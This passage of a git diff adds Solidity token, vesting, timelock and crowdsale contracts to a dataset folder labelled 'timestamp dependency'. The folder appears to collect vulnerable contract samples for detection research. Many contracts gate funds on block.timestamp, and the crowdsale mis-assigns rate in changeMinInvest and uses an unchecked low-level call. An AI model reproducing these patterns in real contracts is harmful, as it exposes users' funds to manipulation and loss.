+ uint256 _tokenSupply = (tokenSupply_ + 1e18); + uint256 _etherReceived = + ( + + SafeMath.sub( + ( + ( + ( + tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) + )-tokenPriceIncremental_ + )*(tokens_ - 1e18) + ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 + ) + /1e18); + return _etherReceived; + } + + + + + function sqrt(uint x) internal pure returns (uint y) { + uint z = (x + 1) / 2; + y = x; + while (z < y) { + y = z; + z = (x / z + z) / 2; + } + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/3185.sol b/smart_contract_dataset/timestamp dependency/3185.sol new file mode 100644 index 0000000000000000000000000000000000000000..8949a5f4255f05e62fe694b03b00500b633916a6 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/3185.sol @@ -0,0 +1,27 @@ +pragma solidity 0.4.24; + + +contract StarmidTransfer { + + function transfer(address _to, uint256 _value) public returns (bool _result) { + _result = true; + } + +} + +contract StarmidFreezeTokens { + + StarmidTransfer public StarmidFunc; + address public owner; + + constructor(address _addr) { + StarmidFunc = StarmidTransfer(_addr); + owner = 0x378B9eea7ab9C15d9818EAdDe1156A079Cd02ba8; + } + + function refundTokens(address _to, uint _amount) public returns(bool) { + require(block.timestamp > 1601510400 && msg.sender == owner); + StarmidFunc.transfer(_to,_amount); + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/3240.sol b/smart_contract_dataset/timestamp dependency/3240.sol new file mode 100644 index 0000000000000000000000000000000000000000..c8a309496fd07f57d3f07e11c822604daf31d5cd --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/3240.sol @@ -0,0 +1,1023 @@ +pragma solidity ^0.4.23; + + + + +contract NokuPricingPlan { + + function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); + + + function usageFee(bytes32 serviceName, uint256 multiplier) public view returns(uint fee); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + +contract NokuCustomToken is Ownable { + + event LogBurnFinished(); + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + + address public serviceProvider; + + + bool public burningFinished; + + + modifier onlyServiceProvider() { + require(msg.sender == serviceProvider, "caller is not service provider"); + _; + } + + modifier canBurn() { + require(!burningFinished, "burning finished"); + _; + } + + constructor(address _pricingPlan, address _serviceProvider) internal { + require(_pricingPlan != 0, "_pricingPlan is zero"); + require(_serviceProvider != 0, "_serviceProvider is zero"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + serviceProvider = _serviceProvider; + } + + + function isCustomToken() public pure returns(bool isCustom) { + return true; + } + + + function finishBurning() public onlyOwner canBurn returns(bool finished) { + burningFinished = true; + + emit LogBurnFinished(); + + return true; + } + + + function setPricingPlan(address _pricingPlan) public onlyServiceProvider { + require(_pricingPlan != 0, "_pricingPlan is 0"); + require(_pricingPlan != address(pricingPlan), "_pricingPlan == pricingPlan"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract BurnableERC20 is ERC20 { + function burn(uint256 amount) public returns (bool burned); +} + + +contract NokuTokenBurner is Pausable { + using SafeMath for uint256; + + event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); + event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); + + + address public wallet; + + + uint256 public burningPercentage; + + + uint256 public burnedTokens; + + + uint256 public transferredTokens; + + + constructor(address _wallet) public { + require(_wallet != address(0), "_wallet is zero"); + + wallet = _wallet; + burningPercentage = 100; + + emit LogNokuTokenBurnerCreated(msg.sender, _wallet); + } + + + function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { + require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); + require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); + + burningPercentage = _burningPercentage; + + emit LogBurningPercentageChanged(msg.sender, _burningPercentage); + } + + + function tokenReceived(address _token, uint256 _amount) public whenNotPaused { + require(_token != address(0), "_token is zero"); + require(_amount > 0, "_amount is zero"); + + uint256 amountToBurn = _amount.mul(burningPercentage).div(100); + if (amountToBurn > 0) { + assert(BurnableERC20(_token).burn(amountToBurn)); + + burnedTokens = burnedTokens.add(amountToBurn); + } + + uint256 amountToTransfer = _amount.sub(amountToBurn); + if (amountToTransfer > 0) { + assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); + + transferredTokens = transferredTokens.add(amountToTransfer); + } + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + constructor(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + modifier hasMintPermission() { + require(msg.sender == owner); + _; + } + + + function mint( + address _to, + uint256 _amount + ) + hasMintPermission + canMint + public + returns (bool) + { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + constructor( + ERC20Basic _token, + address _beneficiary, + uint256 _releaseTime + ) + public + { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + + + +pragma solidity ^0.4.23; + + + + + + + +contract TokenVesting is Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20Basic; + + event Released(uint256 amount); + event Revoked(); + + + address public beneficiary; + + uint256 public cliff; + uint256 public start; + uint256 public duration; + + bool public revocable; + + mapping (address => uint256) public released; + mapping (address => bool) public revoked; + + + constructor( + address _beneficiary, + uint256 _start, + uint256 _cliff, + uint256 _duration, + bool _revocable + ) + public + { + require(_beneficiary != address(0)); + require(_cliff <= _duration); + + beneficiary = _beneficiary; + revocable = _revocable; + duration = _duration; + cliff = _start.add(_cliff); + start = _start; + } + + + function release(ERC20Basic token) public { + uint256 unreleased = releasableAmount(token); + + require(unreleased > 0); + + released[token] = released[token].add(unreleased); + + token.safeTransfer(beneficiary, unreleased); + + emit Released(unreleased); + } + + + function revoke(ERC20Basic token) public onlyOwner { + require(revocable); + require(!revoked[token]); + + uint256 balance = token.balanceOf(this); + + uint256 unreleased = releasableAmount(token); + uint256 refund = balance.sub(unreleased); + + revoked[token] = true; + + token.safeTransfer(owner, refund); + + emit Revoked(); + } + + + function releasableAmount(ERC20Basic token) public view returns (uint256) { + return vestedAmount(token).sub(released[token]); + } + + + function vestedAmount(ERC20Basic token) public view returns (uint256) { + uint256 currentBalance = token.balanceOf(this); + uint256 totalBalance = currentBalance.add(released[token]); + + if (block.timestamp < cliff) { + return 0; + } else if (block.timestamp >= start.add(duration) || revoked[token]) { + return totalBalance; + } else { + return totalBalance.mul(block.timestamp.sub(start)).div(duration); + } + } +} + + + + +contract NokuCustomERC20 is NokuCustomToken, DetailedERC20, MintableToken, BurnableToken { + using SafeMath for uint256; + + event LogNokuCustomERC20Created( + address indexed caller, + string indexed name, + string indexed symbol, + uint8 decimals, + uint256 transferableFromBlock, + uint256 lockEndBlock, + address pricingPlan, + address serviceProvider + ); + event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); + event LogInformationChanged(address indexed caller, string name, string symbol); + event LogTransferFeePaymentFinished(address indexed caller); + event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); + + + bool public mintingFeeEnabled; + + + uint256 public transferableFromBlock; + + + uint256 public lockEndBlock; + + + mapping (address => uint256) public initiallyLockedBalanceOf; + + + uint256 public transferFeePercentage; + + + bool public transferFeePaymentFinished; + + + TokenTimelock public timelock; + + + TokenVesting public vesting; + + bytes32 public constant BURN_SERVICE_NAME = "NokuCustomERC20.burn"; + bytes32 public constant MINT_SERVICE_NAME = "NokuCustomERC20.mint"; + bytes32 public constant TIMELOCK_SERVICE_NAME = "NokuCustomERC20.timelock"; + bytes32 public constant VESTING_SERVICE_NAME = "NokuCustomERC20.vesting"; + + modifier canTransfer(address _from, uint _value) { + require(block.number >= transferableFromBlock, "token not transferable"); + + if (block.number < lockEndBlock) { + uint256 locked = lockedBalanceOf(_from); + if (locked > 0) { + uint256 newBalance = balanceOf(_from).sub(_value); + require(newBalance >= locked, "_value exceeds locked amount"); + } + } + _; + } + + constructor( + string _name, + string _symbol, + uint8 _decimals, + uint256 _transferableFromBlock, + uint256 _lockEndBlock, + address _pricingPlan, + address _serviceProvider + ) + NokuCustomToken(_pricingPlan, _serviceProvider) + DetailedERC20(_name, _symbol, _decimals) public + { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); + + transferableFromBlock = _transferableFromBlock; + lockEndBlock = _lockEndBlock; + mintingFeeEnabled = true; + + emit LogNokuCustomERC20Created( + msg.sender, + _name, + _symbol, + _decimals, + _transferableFromBlock, + _lockEndBlock, + _pricingPlan, + _serviceProvider + ); + } + + function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { + require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); + + mintingFeeEnabled = _mintingFeeEnabled; + + emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); + + return true; + } + + + function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + + name = _name; + symbol = _symbol; + + emit LogInformationChanged(msg.sender, _name, _symbol); + + return true; + } + + + function finishTransferFeePayment() public onlyOwner returns(bool finished) { + require(!transferFeePaymentFinished, "transfer fee finished"); + + transferFeePaymentFinished = true; + + emit LogTransferFeePaymentFinished(msg.sender); + + return true; + } + + + function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { + require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); + require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); + + transferFeePercentage = _transferFeePercentage; + + emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); + } + + function lockedBalanceOf(address _to) public view returns(uint256 locked) { + uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; + if (block.number >= lockEndBlock) return 0; + else if (block.number <= transferableFromBlock) return initiallyLocked; + + uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); + uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); + return initiallyLocked.sub(released); + } + + + function transferFee(uint256 _value) public view returns(uint256 usageFee) { + return _value.mul(transferFeePercentage).div(100); + } + + + function freeTransfer() public view returns (bool isTransferFree) { + return transferFeePaymentFinished || transferFeePercentage == 0; + } + + + function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transfer(_to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transfer(owner, usageFee); + bool netValueTransferred = super.transfer(_to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transferFrom(_from, _to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transferFrom(_from, owner, usageFee); + bool netValueTransferred = super.transferFrom(_from, _to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function burn(uint256 _amount) public canBurn { + require(_amount > 0, "_amount is zero"); + + super.burn(_amount); + + require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), "burn fee failed"); + } + + + function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + require(_to != 0, "_to is zero"); + require(_amount > 0, "_amount is zero"); + + super.mint(_to, _amount); + + if (mintingFeeEnabled) { + require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); + } + + return true; + } + + + function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); + + return mint(_to, _amount); + } + + + function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner canMint + returns(bool minted) + { + require(timelock == address(0), "TokenTimelock already activated"); + + timelock = new TokenTimelock(this, _to, _releaseTime); + + minted = mint(timelock, _amount); + + require(pricingPlan.payFee(TIMELOCK_SERVICE_NAME, _amount, msg.sender), "timelock fee failed"); + } + + + function mintVested(address _to, uint256 _amount, uint256 _startTime, uint256 _duration) public onlyOwner canMint + returns(bool minted) + { + require(vesting == address(0), "TokenVesting already activated"); + + vesting = new TokenVesting(_to, _startTime, 0, _duration, true); + + minted = mint(vesting, _amount); + + require(pricingPlan.payFee(VESTING_SERVICE_NAME, _amount, msg.sender), "vesting fee failed"); + } + + + function releaseVested() public returns(bool released) { + require(vesting != address(0), "TokenVesting not activated"); + + vesting.release(this); + + return true; + } + + + function revokeVested() public onlyOwner returns(bool revoked) { + require(vesting != address(0), "TokenVesting not activated"); + + vesting.revoke(this); + + return true; + } +} + + + + +library AddressUtils { + + + function isContract(address addr) internal view returns (bool) { + uint256 size; + + + + + + + + assembly { size := extcodesize(addr) } + return size > 0; + } + +} + + + +contract NokuCustomService is Pausable { + using AddressUtils for address; + + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + constructor(address _pricingPlan) internal { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + } + + function setPricingPlan(address _pricingPlan) public onlyOwner { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + require(NokuPricingPlan(_pricingPlan) != pricingPlan, "_pricingPlan equal to current"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract NokuCustomERC20Service is NokuCustomService { + event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan); + + uint256 public constant CREATE_AMOUNT = 1 * 10**18; + + uint8 public constant DECIMALS = 18; + + bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = "NokuCustomERC20.create"; + + constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public { + emit LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan); + } + + + function createCustomToken(string _name, string _symbol, uint8 ) public returns(NokuCustomERC20 customToken) { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + block.number, + block.number, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } + + function createCustomToken( + string _name, + string _symbol, + uint8 , + uint256 transferableFromBlock, + uint256 lockEndBlock + ) + public returns(NokuCustomERC20 customToken) + { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + transferableFromBlock, + lockEndBlock, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/3271.sol b/smart_contract_dataset/timestamp dependency/3271.sol new file mode 100644 index 0000000000000000000000000000000000000000..416753f621cdee903b2331969adc7c6d3f1b4774 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/3271.sol @@ -0,0 +1,37 @@ +pragma solidity ^0.4.24; + + + + + + + + + + + + + +contract hodlEthereum { + event Hodl(address indexed hodler, uint indexed amount); + event Party(address indexed hodler, uint indexed amount); + mapping (address => uint) public hodlers; + + + uint constant partyTime = 1535760000; + + + function hodl() payable public { + hodlers[msg.sender] += msg.value; + emit Hodl(msg.sender, msg.value); + } + + + function party() public { + require (block.timestamp > partyTime && hodlers[msg.sender] > 0); + uint value = hodlers[msg.sender]; + hodlers[msg.sender] = 0; + msg.sender.transfer(value); + emit Party(msg.sender, value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/347.sol b/smart_contract_dataset/timestamp dependency/347.sol new file mode 100644 index 0000000000000000000000000000000000000000..6cc79b9cb87442f7e81306afcab876077cf53a55 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/347.sol @@ -0,0 +1,389 @@ +pragma solidity ^0.4.24; + + + +library SafeMath { + + function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { + + + if (_a == 0) { + return 0; + } + + uint256 c = _a * _b; + require(c / _a == _b); + + return c; + } + + + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b > 0); + uint256 c = _a / _b; + + + return c; + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b <= _a); + uint256 c = _a - _b; + + return c; + } + + + function add(uint256 _a, uint256 _b) internal pure returns (uint256) { + uint256 c = _a + _b; + require(c >= _a); + + return c; + } + + + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + require(b != 0); + return a % b; + } +} + + +library SafeERC20 { + function safeTransfer( + ERC20 _token, + address _to, + uint256 _value + ) + internal + { + require(_token.transfer(_to, _value)); + } + + function safeTransferFrom( + ERC20 _token, + address _from, + address _to, + uint256 _value + ) + internal + { + require(_token.transferFrom(_from, _to, _value)); + } + + function safeApprove( + ERC20 _token, + address _spender, + uint256 _value + ) + internal + { + require(_token.approve(_spender, _value)); + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; +} + +} + + +contract ERC20 { + function totalSupply() public view returns (uint256); + + function balanceOf(address _who) public view returns (uint256); + + function allowance(address _owner, address _spender) + public view returns (uint256); + + function transfer(address _to, uint256 _value) public returns (bool); + + function approve(address _spender, uint256 _value) + public returns (bool); + + function transferFrom(address _from, address _to, uint256 _value) + public returns (bool); + + event Transfer( + address indexed from, + address indexed to, + uint256 value + ); + + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +contract AddressesFilterFeature is Ownable {} +contract ERC20Basic {} +contract BasicToken is ERC20Basic {} +contract StandardToken is ERC20, BasicToken {} +contract MintableToken is AddressesFilterFeature, StandardToken {} + +contract Token is MintableToken { + function mint(address, uint256) public returns (bool); +} + + + + + + +contract CrowdsaleWPTByRounds is Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20; + + + ERC20 public token; + + + address public wallet; + + + Token public minterContract; + + + + uint256 public rate; + + + uint256 public tokensRaised; + + + uint256 public cap; + + + uint256 public openingTime; + uint256 public closingTime; + + + uint public minInvestmentValue; + + + bool public checksOn; + + + uint256 public gasAmount; + + + function setMinter(address _minterAddr) public onlyOwner { + minterContract = Token(_minterAddr); + } + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + event TokensTransfer( + address indexed _from, + address indexed _to, + uint256 amount, + bool isDone + ); + +constructor () public { + rate = 400; + wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46; + cap = 400000000000000000000000; + openingTime = 1534558186; + closingTime = 1535320800; + + minInvestmentValue = 0.02 ether; + + checksOn = true; + gasAmount = 25000; + } + + + function capReached() public view returns (bool) { + return tokensRaised >= cap; + } + + + function changeRate(uint256 newRate) public onlyOwner { + rate = newRate; + } + + + function closeRound() public onlyOwner { + closingTime = block.timestamp + 1; + } + + + function setToken(ERC20 _token) public onlyOwner { + token = _token; + } + + + function setWallet(address _wallet) public onlyOwner { + wallet = _wallet; + } + + + function changeMinInvest(uint256 newMinValue) public onlyOwner { + rate = newMinValue; + } + + + function setChecksOn(bool _checksOn) public onlyOwner { + checksOn = _checksOn; + } + + + function setGasAmount(uint256 _gasAmount) public onlyOwner { + gasAmount = _gasAmount; + } + + + function setCap(uint256 _newCap) public onlyOwner { + cap = _newCap; + } + + + function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner { + require(!hasOpened()); + rate = _rate; + wallet = _wallet; + token = _token; + cap = _cap; + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function hasOpened() public view returns (bool) { + + return (openingTime < block.timestamp && block.timestamp < closingTime); + } + + + + + + + function () payable external { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) payable public{ + + uint256 weiAmount = msg.value; + if (checksOn) { + _preValidatePurchase(_beneficiary, weiAmount); + } + + + uint256 tokens = _getTokenAmount(weiAmount); + + + tokensRaised = tokensRaised.add(tokens); + + minterContract.mint(_beneficiary, tokens); + + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _forwardFunds(); + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) + internal + view + onlyWhileOpen + { + require(_beneficiary != address(0)); + require(_weiAmount != 0 && _weiAmount > minInvestmentValue); + require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap); + } + + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + token.safeTransfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)(); + emit TokensTransfer ( + msg.sender, + wallet, + msg.value, + isTransferDone + ); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/361.sol b/smart_contract_dataset/timestamp dependency/361.sol new file mode 100644 index 0000000000000000000000000000000000000000..aae1a5e5035cbdd2e32d00ed94c7a879c2d3c255 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/361.sol @@ -0,0 +1,495 @@ +pragma solidity ^0.4.24; + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +library SafeMath { + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return a / b; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = 